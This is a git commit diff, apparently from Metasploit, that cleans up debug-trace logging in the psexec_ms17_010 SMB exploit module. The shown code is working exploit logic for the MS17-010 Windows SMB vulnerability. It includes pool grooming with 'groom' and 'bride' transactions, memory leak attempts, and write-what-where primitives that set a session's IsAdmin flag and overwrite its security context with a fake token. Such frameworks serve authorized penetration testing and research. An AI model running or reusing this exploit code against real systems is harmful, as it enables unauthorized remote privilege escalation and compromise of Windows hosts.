clean up DBGTRACE

Author: zerosum0x0

lib/msf/core/exploit/smb/client/psexec_ms17_010.rb

@@ -47,11 +47,10 @@ def eternal_pwn(ip)
     fmt = @ctx['PTR_FMT']
 
     # IsNullSession = 0, IsAdmin = 1
-    write_what_where("\x00\x01", @ctx['session'] + @ctx['SESSION_ISNULL_OFFSET'])
+    poffset = @ctx['session'] + @ctx['SESSION_ISNULL_OFFSET']
+    write_what_where("\x00\x01", poffset)
 
-    if datastore['DBGTRACE']
-      vprint_status("Overwrote IsNullSession = 0, IsAdmin = 1")
-    end
+    vprint_status("Overwrote IsNullSession = 0, IsAdmin = 1 at 0x#{poffset.to_s(16)}")
 
     modify_token()
 
@@ -89,18 +88,13 @@ def modify_token()
     # read session struct to get SecurityContext address
     sessionData = read_data(@ctx['session'], 0x100)
 
+    secCtxAddr = sessionData[@ctx['SESSION_SECCTX_OFFSET']..-1].unpack(@ctx['PTR_FMT'])[0]
+
     if datastore['DBGTRACE']
       vprint_status("Session Data: #{bin_to_hex(sessionData)}")
       vprint_status("session dat len = #{sessionData.length}")
       vprint_status("Session ctx offset = #{@ctx['SESSION_SECCTX_OFFSET'].to_s(16)}")
       vprint_status("Session ctx data = #{bin_to_hex(sessionData[@ctx['SESSION_SECCTX_OFFSET']..-1])}")
-
-    end
-    #value = leakTrans[0x8..-1].unpack(ptrf * 5) #unpack_from('<'+ptrf*5, leakTrans, 8)
-    #secCtxAddr = unpack_from('<'+fmt, sessionData, info['SESSION_SECCTX_OFFSET'])[0]
-    secCtxAddr = sessionData[@ctx['SESSION_SECCTX_OFFSET']..-1].unpack(@ctx['PTR_FMT'])[0]
-
-    if datastore['DBGTRACE']
       vprint_status("secCtxAddr: #{secCtxAddr.to_s(16)}")
     end
 
@@ -160,9 +154,8 @@ def modify_token()
 
       # see FAKE_SECCTX detail at top of the file
       write_what_where(@ctx['FAKE_SECCTX'], secCtxAddr)
-      if datastore['DBGTRACE']
-        vprint_status("Overwrote fake secctx")
-      end
+
+      vprint_status("Overwrote token SID security context with fake context")
     end
 
   end
@@ -290,9 +283,6 @@ def exploit_matched_pairs(pipe_handle)
     # groom: srv buffer header
     @ctx['GROOM_POOL_SIZE'] = calc_alloc_size(GROOM_TRANS_SIZE + @ctx['SRV_BUFHDR_SIZE'] + @ctx['POOL_ALIGN'], @ctx['POOL_ALIGN'])
 
-    if datastore['DBGTRACE']
-      vprint_status("GROOM_POOL_SIZE: 0x#{@ctx['GROOM_POOL_SIZE'].to_s(16)}")
-    end
 
     # groom paramters and data is alignment by 8 because it is NT_TRANS
     @ctx['GROOM_DATA_SIZE'] = GROOM_TRANS_SIZE - TRANS_NAME_LEN - 4 - @ctx['TRANS_SIZE']  # alignment (4)
@@ -301,7 +291,9 @@ def exploit_matched_pairs(pipe_handle)
     bridePoolSize = 0x1000 - (@ctx['GROOM_POOL_SIZE'] & 0xfff) - @ctx['FRAG_POOL_SIZE']
     @ctx['BRIDE_TRANS_SIZE'] = bridePoolSize - (@ctx['SRV_BUFHDR_SIZE'] + @ctx['POOL_ALIGN'])
 
+
     if datastore['DBGTRACE']
+      vprint_status("GROOM_POOL_SIZE: 0x#{@ctx['GROOM_POOL_SIZE'].to_s(16)}")
       vprint_status("BRIDE_TRANS_SIZE: 0x#{@ctx['BRIDE_TRANS_SIZE'].to_s(16)}")
     end
 
@@ -314,9 +306,8 @@ def exploit_matched_pairs(pipe_handle)
     for i in 0..datastore['LEAKATTEMPTS']
       reset_extra_multiplex_id()
 
-      if datastore['DBGTRACE']
-        vprint_status("Attempting leak ##{i.to_s}")
-      end
+
+      vprint_status("Attempting leak ##{i.to_s}")
 
       leakInfo = align_transaction_and_leak(pipe_handle)
 
@@ -702,19 +693,15 @@ def exploit_fish_barrel(pipe_handle)
     print_status("<---------------- | Leaving Danger Zone | ---------------->")
     print_status("Reading from CONNECTION struct at: 0x#{connection_addr.to_s(16)}")
 
+    trans2_addr = inparam_value - @ctx['TRANS_SIZE'] - xTRANS_NAME_LEN
+    trans1_addr = trans2_addr - xTRANS_CHUNK_SIZE * 2
 
     if datastore['DBGTRACE']
       vprint_status("CONNECTION: 0x#{connection_addr.to_s(16)}")
       vprint_status("SESSION: 0x#{session_addr.to_s(16)}")
       vprint_status("FLINK: 0x#{flink_value.to_s(16)}")
       vprint_status("InData: 0x#{indata_value.to_s(16)}")
       vprint_status("MID: 0x#{trans2_mid.to_s(16)}")
-    end
-
-    trans2_addr = inparam_value - @ctx['TRANS_SIZE'] - xTRANS_NAME_LEN
-    trans1_addr = trans2_addr - xTRANS_CHUNK_SIZE * 2
-
-    if datastore['DBGTRACE']
       vprint_status("TRANS1: 0x#{trans1_addr.to_s(16)}")
       vprint_status("TRANS2: 0x#{trans2_addr.to_s(16)}")
     end